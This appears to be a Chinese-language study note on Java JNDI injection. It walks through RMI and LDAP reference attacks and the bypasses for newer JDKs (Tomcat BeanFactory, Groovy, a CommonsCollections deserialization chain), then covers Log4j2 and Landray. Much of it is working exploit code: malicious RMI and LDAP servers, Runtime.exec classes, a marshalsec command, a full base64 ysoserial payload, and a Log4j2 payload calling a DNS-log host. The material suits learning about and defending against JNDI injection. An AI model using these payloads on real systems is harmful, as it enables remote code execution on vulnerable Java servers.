RMI和JRMP

谈到JNDI,就不得不简单提一下RMI协议(远程方法调用)简单的来说,就是跨越JVM,来调用另外一个JVM里的方法,在分布式架构里经常使用到RMI。简单的来说,RMI是一个动作。比如我们访问浏览器的地址,地址给我们提供了一个接口,我们在A处调用了B处的接口提供的服务,这就是RMI。

提到RMI,就不得不提到JRMP。JRMP是一种协议(Java Remote Method Protocol),和浏览器访问地址一样,浏览器的访问网站基于HTTP,而JRMP就是对齐HTTP协议的一种协议。只有基于JRMP,RMI才能有效可靠的传输数据。JRMP对非Java语言开发的应用系统支持不足,不能与非java语言的对象进行通信

RMI的传输是基于反序列化的。

JKD8u121以下——JNDI+RMI

JNDI全称Java命名和目录接口(Java Naming and Directory Interface),因此JNDI是一个接口,它提供一个目录系统,并将服务名称与对象关联起来,从而使得开发人员在开发过程中可以使用名称来访问对象。
简单的来说,我们可以将JNDI理解成为是一个很大的文件目录,目录里有很多文件又有

JNDI注入往往需要用到RMI和LDAP协议,因为这两个协议是JNDI的实现者,当然也存在其他的协议,例如DNS、XNam 、Novell目录服务、LDAP(Lightweight Directory Access Protocol轻型目录访问协议)、 CORBA对象服务、文件系统、Windows XP/2000/NT/Me/9x的注册表、RMI、DSML v1&v2、NIS。

那么,简单的来说JNDI就是将RMI,LDAP,DNS等这些所谓的目录服务进行关联。

RMI+JNDI的三部分

1、服务器端

服务器因为使用了JNDI的Lookup方法,且jndiname传入的参数可控,因此造成了JNDI注入漏洞

  1. import javax.naming.InitialContext;
  2. public class client_jndi_test {
  3. public static void main(String[] args) throws Exception{
  4. String jndiname="rmi://127.0.0.1:7777/calccccc";
  5. new InitialContext().lookup(jndiname);
  6. }
  7. }

2、恶意服务类——RMI注册起的恶意服务

这个类是我们构造的使目标不安全的JNDI_InitialContext_lookup方法来寻找我们构造的RMI服务,此时该恶意服务类会监听一个端口,受害者服务器请求这个RMI端口,进而通过这个RMI服务来索引到我们真正的恶意攻击类test来执行runtime.exec命令

  1. import com.sun.jndi.rmi.registry.ReferenceWrapper;
  2. import javax.naming.Reference;
  3. import java.rmi.registry.LocateRegistry;
  4. import java.rmi.registry.Registry;
  5. public class JNDImain {
  6. public static void main(String[] args) throws Exception{
  7. Registry registry= LocateRegistry.createRegistry(7777);
  8. //返回一个Reference对象,
  9. //Reference为构造方法,classname为远程加载的类,factory为需要实例化的类,最后一个为提供classes数据的地址
  10. Reference reference = new Reference("test", "test", "http://localhost:1111/");
  11. ReferenceWrapper wrapper = new ReferenceWrapper(reference);
  12. registry.bind("calccccc", wrapper);
  13. }
  14. }

3、恶意攻击类

利用时,利用需要写一个普通的恶意类TEST.CLASS,放置web目录下,主要是为了能找到这个CLASS

  1. import java.io.IOException;
  2. public class test {
  3. public test() throws IOException {
  4. Runtime.getRuntime().exec("calc");
  5. }
  6. }

当然也可以是回显的,这个无所谓,反正就是一个恶意的CLASS,可以自定义任何内容,包括冰蝎马内存马

  1. import java.io.BufferedReader;
  2. import java.io.IOException;
  3. import java.io.InputStream;
  4. import java.io.InputStreamReader;
  5. import java.io.Reader;
  6. import javax.print.attribute.standard.PrinterMessageFromOperator;
  7. public class ExecTest {
  8. public ExecTest() throws IOException,InterruptedException{
  9. String cmd="whoami";
  10. final Process process = Runtime.getRuntime().exec(cmd);
  11. printMessage(process.getInputStream());;
  12. printMessage(process.getErrorStream());
  13. int value=process.waitFor();
  14. System.out.println(value);
  15. }
  16. private static void printMessage(final InputStream input) {
  17. // TODO Auto-generated method stub
  18. new Thread (new Runnable() {
  19. @Override
  20. public void run() {
  21. // TODO Auto-generated method stub
  22. Reader reader =new InputStreamReader(input);
  23. BufferedReader bf = new BufferedReader(reader);
  24. String line = null;
  25. try {
  26. while ((line=bf.readLine())!=null)
  27. {
  28. System.out.println(line);
  29. }
  30. }catch (IOException e){
  31. e.printStackTrace();
  32. }
  33. }
  34. }).start();
  35. }
  36. }

4、总结:

1、JNDI注入——lookup(URL)方法里的URL可控
2、起RMI服务端和恶意类,此时URL可控将数据发送到RMI服务端口,RMI服务存在恶意的reference对象,该reference对象此时已经被恶意的攻击类绑定,那获取到reference 对象后,就会寻找被指定的恶意类,如果找不到就请求远程的地址到本地然后执行。

3、把恶意攻击类(ExecTest.java)及其编译的文件放到其他目录下,不然会在当前目录中直接找到这个类。不起web服务也会命令执行成功。这里使用远程加载的方式,在本地环境失败,猜测应该是本地JDK版本太高了。

JDK高版本的绕过

JNDI 对于不同版本JDK利用总结来说有三种
1、JNDI 请求远程VPS加载远程Class 触发命令执行
2、JNDI 请求远程VPS LDAP 调用服务本地的依赖存在的应用服务或组件 触发命令执行
TOMCAT8 GROOVY
3、JNDI 请求 反序列化链触发命令执行

JDK版本大于等于8u121之后

因为在jdk8u121版本开始,Oracle通过默认设置系统变量com.sun.jndi.rmi.object.trustURLCodebase为false,将导致通过rmi的方式加载远程的字节码不会被信任。
image.png
因此在不使用一些Tips时,需要添加如下代码在服务器端,如果目标服务器的代码存在JNDI注入,而JDK版本太高的话,我们肯定控制不了他添加这一行代码啊,因此出现了其他的JAVA JNDI利用Tips。
image.png

  1. System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");
  2. System.setProperty("com.sun.jndi.cosnaming.object.trustURLCodebase","true");
  1. import javax.naming.InitialContext;
  2. public class client_jndi_test {
  3. public static void main(String[] args) throws Exception{
  4. String jndiname="rmi://127.0.0.1:7777/calccccc";
  5. System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");
  6. new InitialContext().lookup(jndiname);
  7. }
  8. }

JDK版本小于8u191—JNDI+LDAP

JNDI注入配合LDAP是因为LDAP服务的Reference远程加载Factory类不受com.sun.jndi.rmi.object.trustURLCodebase、com.sun.jndi.cosnaming.object.trustURLCodebase等属性的限制。

在JDK8u191之前的版本,我们可以启动LDAP服务代理RMI服务来攻击利用,使用marshalsec来开启这个服务。此时的JNDI漏洞利用同样简单:

  • 1、新建一个恶意类并发布到http服务器
  • 2、启动一个ldap服务器
  • 3、控制客户端lookup()中的URL为我们的恶意LDAP地址
    1. marshalsec:
    2. java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://192.168.202.1:8000/#Evail 9999
    如下图所示,这里JNDI+LDAP本地环境测试失败了,应该是JDK版本太高了
    image.png

JDK版本大于等于JDK8u191

而在jdk8u191版本开始,官方又盯上了LDAP服务,将com.sun.jndi.ldap.object.trustURLCodebase配置默认为false,导致通过ldap的方式加载远程的字节码不会被信任。

JNDI+RMI+TOMCAT8

通过远程加载恶意类的方式已经失效了,不过JNDI注入的修复并没有限制从本地加载类文件,因此就有了新的利用方式。在TOMCAT8里刚好存在一个工厂类实现 javax.naming.spi.ObjectFactory 接口,并且至少存在一个 getObjectInstance()方法为org.apache.naming.factory.BeanFactory 满足上需求。
具体原理我也不懂,反正就是在TOMCAT依赖包里存在这么一个特殊的类能满足高版本JDK的漏洞利用需求。

复现:同样还是需要一个服务器端

  1. import javax.naming.Context;
  2. import javax.naming.InitialContext;
  3. import javax.naming.NamingException;
  4. public class Client {
  5. public static void main(String[] args) throws NamingException {
  6. String uri = "rmi://192.168.202.1:1099/exp";
  7. Context ctx = new InitialContext();
  8. ctx.lookup(uri);
  9. }
  10. }

第二需要一个恶意RMI服务类,这个恶意RMI类中直接写入恶意代码,无需另外起一个HTTP服务构造恶意类

  1. import com.sun.jndi.rmi.registry.ReferenceWrapper;
  2. import javax.naming.StringRefAddr;
  3. import java.rmi.registry.LocateRegistry;
  4. import java.rmi.registry.Registry;
  5. import org.apache.naming.ResourceRef;
  6. public class RMIServer {
  7. public static void main(String[] args) throws Exception {
  8. Registry registry = LocateRegistry.createRegistry(1099);
  9. ResourceRef resourceRef = new ResourceRef("javax.el.ELProcessor", (String)null, "", "", true, "org.apache.naming.factory.BeanFactory", (String)null);
  10. resourceRef.add(new StringRefAddr("forceString", "a=eval"));
  11. resourceRef.add(new StringRefAddr("a", "Runtime.getRuntime().exec(\"calc\")"));
  12. ReferenceWrapper refObjWrapper = new ReferenceWrapper(resourceRef);
  13. registry.bind("exp", refObjWrapper);
  14. System.out.println("Creating evil RMI registry on port 1099");
  15. }
  16. }

POM.XML依赖

  1. <dependencies>
  2. <dependency>
  3. <groupId>org.apache.tomcat.embed</groupId>
  4. <artifactId>tomcat-embed-core</artifactId>
  5. <version>9.0.45</version>
  6. </dependency>
  7. <dependency>
  8. <groupId>org.apache.tomcat</groupId>
  9. <artifactId>tomcat-catalina</artifactId>
  10. <version>8.5.0</version>
  11. </dependency>
  12. <dependency>
  13. <groupId>org.lucee</groupId>
  14. <artifactId>javax.el</artifactId>
  15. <version>3.0.0</version>
  16. </dependency>
  17. </dependencies>

这里本地测试失败了,可能还是和某些版本的JDK有些关系,下次试试低版本的JDK环境吧
image.png

JNDI+RMI+groovy

RMI客户端,同样无需起HTTP服务

  1. import com.sun.jndi.rmi.registry.ReferenceWrapper;
  2. import org.apache.naming.ResourceRef;
  3. import javax.naming.NamingException;
  4. import javax.naming.StringRefAddr;
  5. import java.rmi.AlreadyBoundException;
  6. import java.rmi.RemoteException;
  7. import java.rmi.registry.LocateRegistry;
  8. import java.rmi.registry.Registry;
  9. public class jnditomcat {
  10. public static void main(String[] args) throws NamingException, RemoteException, AlreadyBoundException {
  11. Registry registry = LocateRegistry.createRegistry(1099);
  12. ResourceRef ref = new ResourceRef("groovy.lang.GroovyShell", null, "", "", true,"org.apache.naming.factory.BeanFactory",null);
  13. ref.add(new StringRefAddr("forceString", "x=evaluate"));
  14. String script = String.format("'%s'.execute()", "calc"); //commandGenerator.getBase64CommandTpl());
  15. ref.add(new StringRefAddr("x",script));
  16. ReferenceWrapper refObjWrapper = new ReferenceWrapper(ref);
  17. registry.bind("exp", refObjWrapper);
  18. System.out.println("Creating evil RMI registry on port 1099");
  19. }
  20. }

启动Client发送lookup数据包,成功执行命令
image.png
POM.XML

  1. <dependencies>
  2. <dependency>
  3. <groupId>org.codehaus.groovy</groupId>
  4. <artifactId>groovy-all</artifactId>
  5. <version>1.5.0</version>
  6. </dependency>
  7. </dependencies>

这里使用的是goovy任意类,使用groovy.lang.GroovyClassLoade调用的JNDI出现如下报错
image.png

JNDI+LDAP+CC链

java -jar ysoserial.jar CommonsCollections6 “calc.exe”|base64

pom.xml依赖

  1. <?xml version="1.0" encoding="UTF-8"?>
  2. <project xmlns="http://maven.apache.org/POM/4.0.0"
  3. xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
  4. xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
  5. <modelVersion>4.0.0</modelVersion>
  6. <groupId>jnditomcat</groupId>
  7. <artifactId>jnditomcat</artifactId>
  8. <version>1.0-SNAPSHOT</version>
  9. <dependencies>
  10. <dependency>
  11. <groupId>com.unboundid</groupId>
  12. <artifactId>unboundid-ldapsdk</artifactId>
  13. <version>3.2.0</version>
  14. </dependency>
  15. <dependency>
  16. <groupId>commons-collections</groupId>
  17. <artifactId>commons-collections</artifactId>
  18. <version>3.1</version>
  19. </dependency>
  20. </dependencies>
  21. </project>

ldap服务端代码

  1. import java.net.InetAddress;
  2. import java.net.URL;
  3. import javax.net.ServerSocketFactory;
  4. import javax.net.SocketFactory;
  5. import javax.net.ssl.SSLSocketFactory;
  6. import com.unboundid.ldap.listener.InMemoryDirectoryServer;
  7. import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
  8. import com.unboundid.ldap.listener.InMemoryListenerConfig;
  9. import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
  10. import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
  11. import com.unboundid.ldap.sdk.Entry;
  12. import com.unboundid.ldap.sdk.LDAPResult;
  13. import com.unboundid.ldap.sdk.ResultCode;
  14. import com.unboundid.util.Base64;
  15. public class jnditomcat {
  16. private static final String LDAP_BASE = "dc=t4rrega,dc=domain";
  17. public static void main ( String[] tmp_args ) {
  18. String[] args=new String[]{"http://127.0.0.1/#Deserialize"};
  19. int port = 7777;
  20. try {
  21. InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
  22. config.setListenerConfigs(new InMemoryListenerConfig(
  23. "listen", //$NON-NLS-1$
  24. InetAddress.getByName("0.0.0.0"), //$NON-NLS-1$
  25. port,
  26. ServerSocketFactory.getDefault(),
  27. SocketFactory.getDefault(),
  28. (SSLSocketFactory) SSLSocketFactory.getDefault()));
  29. config.addInMemoryOperationInterceptor(new jnditomcat.OperationInterceptor(new URL(args[ 0 ])));
  30. InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
  31. System.out.println("Listening on 0.0.0.0:" + port); //$NON-NLS-1$
  32. ds.startListening();
  33. }
  34. catch ( Exception e ) {
  35. e.printStackTrace();
  36. }
  37. }
  38. private static class OperationInterceptor extends InMemoryOperationInterceptor {
  39. private URL codebase;
  40. public OperationInterceptor ( URL cb ) {
  41. this.codebase = cb;
  42. }
  43. @Override
  44. public void processSearchResult ( InMemoryInterceptedSearchResult result ) {
  45. String base = result.getRequest().getBaseDN();
  46. Entry e = new Entry(base);
  47. try {
  48. sendResult(result, base, e);
  49. }
  50. catch ( Exception e1 ) {
  51. e1.printStackTrace();
  52. }
  53. }
  54. protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws Exception {
  55. URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class"));
  56. System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);
  57. e.addAttribute("javaClassName", "foo");
  58. String cbstring = this.codebase.toString();
  59. int refPos = cbstring.indexOf('#');
  60. if ( refPos > 0 ) {
  61. cbstring = cbstring.substring(0, refPos);
  62. }
  63. e.addAttribute("javaSerializedData", Base64.decode("rO0ABXNyABFqYXZhLnV0aWwuSGFzaFNldLpEhZWWuLc0AwAAeHB3DAAAAAI/QAAAAAAAAXNyADRvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMua2V5dmFsdWUuVGllZE1hcEVudHJ5iq3SmznBH9sCAAJMAANrZXl0ABJMamF2YS9sYW5nL09iamVjdDtMAANtYXB0AA9MamF2YS91dGlsL01hcDt4cHQAA2Zvb3NyACpvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMubWFwLkxhenlNYXBu5ZSCnnkQlAMAAUwAB2ZhY3Rvcnl0ACxMb3JnL2FwYWNoZS9jb21tb25zL2NvbGxlY3Rpb25zL1RyYW5zZm9ybWVyO3hwc3IAOm9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5mdW5jdG9ycy5DaGFpbmVkVHJhbnNmb3JtZXIwx5fsKHqXBAIAAVsADWlUcmFuc2Zvcm1lcnN0AC1bTG9yZy9hcGFjaGUvY29tbW9ucy9jb2xsZWN0aW9ucy9UcmFuc2Zvcm1lcjt4cHVyAC1bTG9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5UcmFuc2Zvcm1lcju9Virx2DQYmQIAAHhwAAAABXNyADtvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMuZnVuY3RvcnMuQ29uc3RhbnRUcmFuc2Zvcm1lclh2kBFBArGUAgABTAAJaUNvbnN0YW50cQB+AAN4cHZyABFqYXZhLmxhbmcuUnVudGltZQAAAAAAAAAAAAAAeHBzcgA6b3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLmZ1bmN0b3JzLkludm9rZXJUcmFuc2Zvcm1lcofo/2t7fM44AgADWwAFaUFyZ3N0ABNbTGphdmEvbGFuZy9PYmplY3Q7TAALaU1ldGhvZE5hbWV0ABJMamF2YS9sYW5nL1N0cmluZztbAAtpUGFyYW1UeXBlc3QAEltMamF2YS9sYW5nL0NsYXNzO3hwdXIAE1tMamF2YS5sYW5nLk9iamVjdDuQzlifEHMpbAIAAHhwAAAAAnQACmdldFJ1bnRpbWV1cgASW0xqYXZhLmxhbmcuQ2xhc3M7qxbXrsvNWpkCAAB4cAAAAAB0AAlnZXRNZXRob2R1cQB+ABsAAAACdnIAEGphdmEubGFuZy5TdHJpbmeg8KQ4ejuzQgIAAHhwdnEAfgAbc3EAfgATdXEAfgAYAAAAAnB1cQB+ABgAAAAAdAAGaW52b2tldXEAfgAbAAAAAnZyABBqYXZhLmxhbmcuT2JqZWN0AAAAAAAAAAAAAAB4cHZxAH4AGHNxAH4AE3VyABNbTGphdmEubGFuZy5TdHJpbmc7rdJW5+kde0cCAAB4cAAAAAF0AAhjYWxjLmV4ZXQABGV4ZWN1cQB+ABsAAAABcQB+ACBzcQB+AA9zcgARamF2YS5sYW5nLkludGVnZXIS4qCk94GHOAIAAUkABXZhbHVleHIAEGphdmEubGFuZy5OdW1iZXKGrJUdC5TgiwIAAHhwAAAAAXNyABFqYXZhLnV0aWwuSGFzaE1hcAUH2sHDFmDRAwACRgAKbG9hZEZhY3RvckkACXRocmVzaG9sZHhwP0AAAAAAAAB3CAAAABAAAAAAeHh4"));
  64. result.sendSearchEntry(e);
  65. result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
  66. }
  67. }
  68. }

jndi服务器只需连接到ldap:127.0.0.1/Deserialize即可实现反序列化打出calc
image.png

参考这些文章:
https://paper.seebug.org/942/
https://xz.aliyun.com/t/10671
https://xz.aliyun.com/t/10035#toc-3
https://blog.csdn.net/weixin_42122306/article/details/112630514

相关漏洞:

蓝凌SSRF+JNDI注入

蓝凌的这个漏洞主要是custom.jsp页面存在SSRF漏洞,可利用该SSRF漏洞进行file协议的任意文件读取,从而获取到admin.do页面的密码,而admin.do存在JNID注入。

log4j2

Log4j2 core是一个日志记录的核心jar包,在Jar包里内置了许多插件,而lookups就是其中的一个插件功能
image.png

log4j2漏洞官方提供的使用代码${jndi:JNDIContent}
log4j2漏洞payload:${jndi:rmi://aa.umkpfr.dnslog.cn/Log4jTes}

并且我们知道产生漏洞的地方为Logger.error()这个地方,因此跟进这个方法,不断跟进后
存在⼀个关键点在 PatternFormatter.java 中的 format ⽅法:
该方法对存在$后面跟着的‘{’直到‘}’进行replace
image.png
第二个关键点,repalce后会到代码Interpolator.lookup方法中,获取到如果前缀为jndi,就进入jndilookup方法进行处理
image.png
最终传入的url就被lookup解析,从而造成JNDI注入
image.png

资料

https://xz.aliyun.com/t/7079
https://paper.seebug.org/1091/
https://mp.weixin.qq.com/s/cyeEAv31GO_hZCTXVRBkxw
https://xz.aliyun.com/t/6633
https://www.cnblogs.com/nice0e3/p/13927460.html
https://blog.csdn.net/he_and/article/details/105586691
https://xz.aliyun.com/t/10035